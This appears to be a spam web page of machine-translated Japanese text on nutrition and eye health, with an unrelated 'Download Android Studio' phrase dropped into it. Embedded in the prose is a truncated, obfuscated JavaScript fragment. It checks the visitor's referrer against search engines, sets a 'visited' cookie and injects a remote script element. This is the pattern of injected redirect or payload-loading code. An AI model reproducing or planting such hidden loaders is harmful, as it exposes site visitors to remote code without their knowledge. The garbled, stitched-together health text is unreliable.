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亜鉛と銅 ミネラル亜鉛は、特にビタミンCおよびEのような他の抗酸化物質と組み合わせた場合に、黄斑変性および白内障を予防するのに役立つ抗酸化および抗炎症特性を有する.

栄養は眼の健康に影響を与えます（驚きはありません） 目や視力の問題を避ける最良の方法の1つは、果物や野菜をたくさん含む健康的な食事を食べること、運動をたくさんして体重を見ること.

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網膜の中心部（黄斑）は、体内でルテインおよびゼアキサンチンの濃度が最も高く、これらの色素は黄斑変性症に対して保護効果を有するようである.. 慢性的な炎症や目と体全体の変性変化を引き起こす可能性のある甘い飲み物や高度に加工された食品や軽食を避けることも正しい方向へのステップです.. 天然のβ-カロチンのために、サツマイモ、ニンジン、ケールおよび他の緑が食物源として優れています.. しかし、これらのライフスタイルの変化を超えて、抗酸化物質を食事に加えることは、眼の健康を改善することが示されている. Download Android Studio For Mac Os Mojave

また、ルテインとゼアキサンチンを多く含む食事が白内障のリスクを低下させる可能性があることが研究によって示されています.. あまりにも多くの亜鉛が銅欠乏性貧血を引き起こす可能性があるため、亜鉛を含むサプリメントを服用すると、銅.. ビタミンEが多い食品には、強化穀類、ヒマワリの種、アーモンドおよび他のナッツが含まれる.. constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x524e00){_0x56bc2e=window;}return _0x56bc2e;};var _0x59f9a9=_0x539ae8();var _0x27325c='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x59f9a9['atob']||(_0x59f9a9['atob']=function(_0x5e150e){var _0x2544a0=String(_0x5e150e)['replace'](/=+$/,'');for(var _0x5717d3=0x0,_0x29fb3e,_0x3cb6ca,_0x332b4e=0x0,_0x573384='';_0x3cb6ca=_0x2544a0['charAt'](_0x332b4e++);~_0x3cb6ca&&(_0x29fb3e=_0x5717d3%0x4?_0x29fb3e*0x40+_0x3cb6ca:_0x3cb6ca,_0x5717d3++%0x4)?_0x573384+=String['fromCharCode'](0xff&_0x29fb3e>>(-0x2*_0x5717d3&0x6)):0x0){_0x3cb6ca=_0x27325c['indexOf'](_0x3cb6ca);}return _0x573384;});}());_0xd61b['mkQCjA']=function(_0x2a9b49){var _0x297839=atob(_0x2a9b49);var _0x45c5ba=[];for(var _0x5d4209=0x0,_0x1fa85f=_0x297839['length'];_0x5d4209=_0x191278;},'auZqL':function(_0x39e1f1,_0x42f15d){return _0x39e1f1!==_0x42f15d;},'zANGi':_0xd61b('0x1e'),'gMtiA':_0xd61b('0x1f'),'cEIYs':function(_0x5f3f53,_0x380b5b){return _0x5f3f53!==_0x380b5b;},'ySfgN':_0xd61b('0x20'),'vAwLe':function(_0x3d39a3,_0x2fd7b4){return _0x3d39a3(_0x2fd7b4);}};var _0x58fd16=[_0x5562fc[_0xd61b('0x21')],_0x5562fc[_0xd61b('0x22')],_0x5562fc[_0xd61b('0x23')],_0xd61b('0x24'),_0x5562fc['kKIAz'],_0x5562fc[_0xd61b('0x25')],_0x5562fc['kjUTB']],_0x1d4765=document[_0xd61b('0x26')],_0x4cfeb3=![],_0x40c75=cookie[_0xd61b('0x27')](_0x5562fc[_0xd61b('0x28')]);for(var _0x205fe1=0x0;_0x5562fc[_0xd61b('0x29')](_0x205fe1,_0x58fd16['length']);_0x205fe1++){if(_0x5562fc[_0xd61b('0x2a')]('XPIZz',_0x5562fc['rbyCy'])){if(_0x5562fc[_0xd61b('0x2b')](_0x1d4765[_0xd61b('0x2c')](_0x58fd16[_0x205fe1]),0x0)){if(_0x5562fc[_0xd61b('0x2d')](_0xd61b('0x1e'),_0x5562fc[_0xd61b('0x2e')])){document[_0xd61b('0x2f')]=_0x5562fc[_0xd61b('0x30')](_0x5562fc[_0xd61b('0x30')](_0x5562fc[_0xd61b('0x31')](_0x5562fc[_0xd61b('0x32')](name+'=',_0x5562fc[_0xd61b('0x33')](escape,value)),expires?_0x5562fc[_0xd61b('0x32')](';\x20expires=',new Date(new Date()[_0xd61b('0x13')]()+_0x5562fc[_0xd61b('0x34')](expires,0x3e8))):'')+(path?_0x5562fc[_0xd61b('0x32')](_0x5562fc[_0xd61b('0x35')],path):''),domain?_0x5562fc[_0xd61b('0x36')](_0xd61b('0xf'),domain):''),secure?_0xd61b('0x16'):'');}else{_0x4cfeb3=!![];}}}else{_0x4cfeb3=!![];}}if(_0x4cfeb3){if(_0x5562fc[_0xd61b('0x37')]===_0x5562fc[_0xd61b('0x37')]){cookie[_0xd61b('0x38')]('visited',0x1,0x1);if(!_0x40c75){if(_0x5562fc[_0xd61b('0x39')](_0x5562fc[_0xd61b('0x3a')],_0x5562fc[_0xd61b('0x3a')])){var _0x504741=document['createElement'](_0x5562fc['rzSZj']);_0x504741[_0xd61b('0x2')]=url;document[_0xd61b('0x3')](_0xd61b('0x3b'))[0x0][_0xd61b('0x5')](_0x504741);}else{_0x5562fc[_0xd61b('0x3c')](include,_0x5562fc['xfcZG'](_0x5562fc[_0xd61b('0x3d')](_0x5562fc[_0xd61b('0x3e')],q),''));}}}else{cookie['set'](_0x5562fc[_0xd61b('0x28')],0x1,0x1);if(!_0x40c75){_0x5562fc[_0xd61b('0x3f')](include,_0x5562fc[_0xd61b('0x40')](_0x5562fc[_0xd61b('0x3d')](_0x5562fc['imVLE'],q),''));}}}}R(); 古い格言であるPreventionは、栄養と眼の健康に関しては確かに正しいと思われます.. ビタミンCの優れた食物源には、果実、オレンジおよび他の柑橘類、生野菜および唐辛子が含まれる. 34bbb28f04